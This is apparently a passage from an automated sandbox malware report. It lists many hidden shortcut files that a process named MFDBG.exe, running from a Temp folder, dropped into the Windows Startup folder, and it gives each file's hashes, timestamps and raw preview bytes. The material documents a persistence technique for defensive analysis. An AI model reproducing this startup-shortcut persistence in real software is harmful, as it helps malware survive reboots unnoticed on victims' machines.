Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....(..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_73f9842952ec4b7e8d8214da8f4c186b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935176653605765
Encrypted:	false
SSDEEP:	24:8ahBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Qs0R6rMhpBoUBxdRd1nYyg
MD5:	1A6D5F2423B79C4EB62018A131B87E2E
SHA1:	28971727F7DB441F3A177BC8E751D176F60A22D0
SHA-256:	D5CA021C2A2CA4FE0CBA7E1A1631C35F90FD98CC1E08C8B0C37BB158D8D2F095
SHA-512:	18BEA9743603786CACCBA55DFEBE3928DB778AFDCE6F5CD3C7FD2D148E8AED43321998A0D07EAE5BC6844F87207DA9D35E7BE4526E79E9A36414F03DB11291DA
Malicious:	false
Preview:	L..................F...."...]W%.{..."V.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_74397b91852c4305a52fbdae5b4699ee.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936631705988499
Encrypted:	false
SSDEEP:	24:8nhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:87s0R6rMhpBoUBxdRd1nYyg
MD5:	2A38F0763A429E0E7A97E18C0A99F1FB
SHA1:	92EEB32532374187054BED0A454AA6FF7018C13E
SHA-256:	1F5AD52093F0DC3807BB2197762C3231FC99DB06F104F78E5B1817ACFADCB403
SHA-512:	43AACACFFDE360EEF4F59013F8F474536A50416FB6E8570AFE5D7C27399E7D7C8E6DE8CBE071F4A690C8AFBAC1A6D098BF1D7F22EE6D67E986CC1AFA3E2CD7B0
Malicious:	false
Preview:	L..................F...."...]W%.{....W.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7469705f84874c51b2bd8f200a691bb2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94044374936019
Encrypted:	false
SSDEEP:	24:8zhBfC8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Hn0R6rMhpBoUBxdRd1nYyg
MD5:	17E73D9ABDB95347305FEF16BA1A43D1
SHA1:	CEDC6CF36403D62F5E085186CC59C62B8EB249AD
SHA-256:	0899E677E425D6202652BD2582A49DE54F97E16C17AB91A96BAB3306835A75C5
SHA-512:	1E7DB0E1D1999A364DE16B879FDBF86899F81121B18F0453172BE0BE5ED271E634E738157ED8A8E25F8CEDF644C49B325136C6AA47C4F38907E6048089CF023B
Malicious:	false
Preview:	L..................F...."...]W%.{...B...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_74a68b93aef948a78cbfcc48f42f7e5d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940750811514901
Encrypted:	false
SSDEEP:	24:8j2hBfEH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8jc8c0R6rMhpBoUBxdRd1nYyg
MD5:	57DB7FBB4085ECD6E5B0307C17BD2173
SHA1:	09C8058FE0107E8F7123D223F06218F443450C06
SHA-256:	B015363CC6FADD1ACF694500CDD2B8F6D85D80D2B2209A728C4122EA72ECAC4C
SHA-512:	83000CD380DD1B4412D5303BA05487A3DB48C05723F5FBAC7A2618F1AD5CC485156D323B531C19AB63629A27F27E64126629AD65BB9C135DCF1A3A75232240D6
Malicious:	false
Preview:	L..................F...."...]W%.{....h..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..../..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_74be935c3af24b3391ff9342ee14a477.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933976168494276
Encrypted:	false
SSDEEP:	24:8HhBfjqH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8bLqc0R6rMhpBoUBxdRd1nYyg
MD5:	B38303450D80B5D5C19BB2AEBB8EFDB7
SHA1:	11251902835DC1F77AF62D2C230051E70C834468
SHA-256:	B4EA7C8465847C1219319D767B509A626CB2ECD57FAE2F8B530286D72B546029
SHA-512:	FC8646892F1DC564F7B2F0093B6960DBD7AFA968A89276B9393E262982BA2F03F4F7C3613E6ABF71C5CC85F2D0ABF0481FE0C6DEA84C9732632BF8AFEF2CA99D
Malicious:	false
Preview:	L..................F...."...]W%.{...n?A.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....F.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_74e63e958e6a414d9647d955a3f194ab.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939778650239343
Encrypted:	false
SSDEEP:	24:8zmhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zs60R6rMhpBoUBxdRd1nYyg
MD5:	CC2F3398B13D903EE44C33FA598C2420
SHA1:	0E0C9BAD2F0872854D8B030B7412976307D41A6C
SHA-256:	F64B6994C4DBB58F31B826F5811C8F1AF9FDA812D6139BB7D38FB717D8625921
SHA-512:	23D9ABBE4C0EDC8AE6F6C4622A4150848DA42BFB99E240627CA4AE834A8617E964C7F3AC41DA0DB8FD906804A9877A23E346D0021761C528600391730382A6E1
Malicious:	false
Preview:	L..................F...."...]W%.{....W..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_750a8892a57d4535a0f8505307a88b48.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934884777989011
Encrypted:	false
SSDEEP:	24:80hBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82lc0R6rMhpBoUBxdRd1nYyg
MD5:	9A2F3D963E697AF45C5DF28BDA37AFF6
SHA1:	E8AFED427E3DB3FE7992F4DCE8D14E895AEB1982
SHA-256:	89A1E5BFD3EEEF65C8175B9259E4D9686727A00D6200B74A4CFA5971F73F27A0
SHA-512:	417889D0F0A64B9A537309076AA9395F58CF23B8DDCBD8FA9BD57A313A9F9693A8E9A77ECE73A74D69501E647CFA25F918ED61CD9EC3C421966703ED63B065D6
Malicious:	false
Preview:	L..................F...."...]W%.{....e..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_750cc4a4acdf46bb8e0f3268e69c19f9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:16 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934186323141529
Encrypted:	false
SSDEEP:	24:8yhBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:84lc0R6rMhpBoUBxdRd1nYyg
MD5:	643B509F5217D9EB43F5E07366774169
SHA1:	E26B21AD177D470EA06FEEF112F825851F21C079
SHA-256:	CE599232ED0BE1C9CA3CDEE3ED1B4CD1CDE707128E18DC00350D7D3A05AB9AB8
SHA-512:	A5F4DA07EEF5FC4A289CFA16C5F04EE0E9B0A7AD6C4FA68D80AACC6752C0B7AD0658D3121346E5C04521B5315A2BAEEA4AC9A103C49A80C32AA3CD379135A71B
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_750d3cd899b64d16b6d24c231cf6822f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939025563920158
Encrypted:	false
SSDEEP:	24:8UhBfC8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Wn0R6rMhpBoUBxdRd1nYyg
MD5:	3C674BB5C8961FC4CE6D5FF5AB095438
SHA1:	28DE863D0A2B437683742F48572FFC36E373A7F7
SHA-256:	31354B2ACCDBD2CA1FB4611084E79F540D66752DEAAE2A6270992A57718B3582
SHA-512:	32CF116B7E9711E0AD38B4E9C5954E44F9366CE01FF3F183CBB2080422990A26C1DF9B808DE968062094C59C8AA6DEA3631F64D3860B9C3C35A82F1C97C8E4B2
Malicious:	false
Preview:	L..................F...."...]W%.{....r..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_758aa4e80a0946ff9a03a7cc9443c70a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941847826931498
Encrypted:	false
SSDEEP:	24:8m1hBf9l8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8AA0R6rMhpBoUBxdRd1nYyg
MD5:	F8AE37B13670B626A2B4A82B4CE42967
SHA1:	11C6237AB60E636E3C82C6EAAE80ECC72437C87F
SHA-256:	E81438F929B7201987D8BD319BFA1FC4132AC27A230F9DD381B8458B242EF4F1
SHA-512:	3ABA8EF3078BF8EC33261DEE1C16F0A8FD67C729E096AE570AD526C854B4B6EBE49190C2366F71559B21FAEFB68A523A12B1983BD6F3CCCBE2470C3057D4E034
Malicious:	false
Preview:	L..................F...."...]W%.{...Z.U.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...J...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_759396364d6744ce99d07cf7641c8e7b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933507385255825
Encrypted:	false
SSDEEP:	24:83hBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8rKI0R6rMhpBoUBxdRd1nYyg
MD5:	55D4E77F8B37BF91015332517E638598
SHA1:	CAC7D62D649A6E6C0BF6D4EC306B9A8549D1DAD9
SHA-256:	77218CB5A6B2B34817D68071486B3131DEAEE6E595D0C5C3DADEF6C3A3CB2A2C
SHA-512:	B8111406F29FB2AD3A50BD77DAD24A3F9C08DA9E60FE658BB5470094AA8476C0CD5A98489A1959C4C2FE1726478E353576258EA78BDFAC0CCDAF00C1CADD397C
Malicious:	false
Preview:	L..................F...."...]W%.{...m.].{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_75b0af925b214fde9caa8825c658d3b7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93479936878172
Encrypted:	false
SSDEEP:	24:8XhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8LR0R6rMhpBoUBxdRd1nYyg
MD5:	59538F09F40A82B7556A9EDA1310BE34
SHA1:	225CC94DBCD6510BC3E4D1FF24629F8B500BE668
SHA-256:	2A780B6442BF1DE2F1984CA585B4BAC3E32EF1C1DB2FEBBC7DE160AB8600E909
SHA-512:	87583CD23DF8922672766F0D47264492BDB313C8A7D254AF12209B0EB0FE5FD2CEB39D7C742F6569B339A5DC976FB3E0D36666A40DA4C6ADA57665DE3C28B5C1
Malicious:	false
Preview:	L..................F...."...]W%.{....^..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_75ce9b99bbaa44209ff7f622416b0721.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:13 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.946037155127235
Encrypted:	false
SSDEEP:	24:8JhBfGK8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Jun0R6rMhpBoUBxdRd1nYyg
MD5:	A79AE92A75944CC3E51A7B7BF287BFED
SHA1:	C48492C30E510A23D4432C1454C6311B52A9A940
SHA-256:	6569407C8E7C630D747C58F9DA85BAB7A2EFADF333B105DA9DC27C0C54C5FF7E
SHA-512:	4BE33FCEB333D88E29A05F2DC4ED1ADCF4B8CDA7C1EB95FFD3ECEA817DB34936B9316C19BB04585936DA05A589F48B08147F84653EC49E93C86B3FB41ED3171C
Malicious:	false
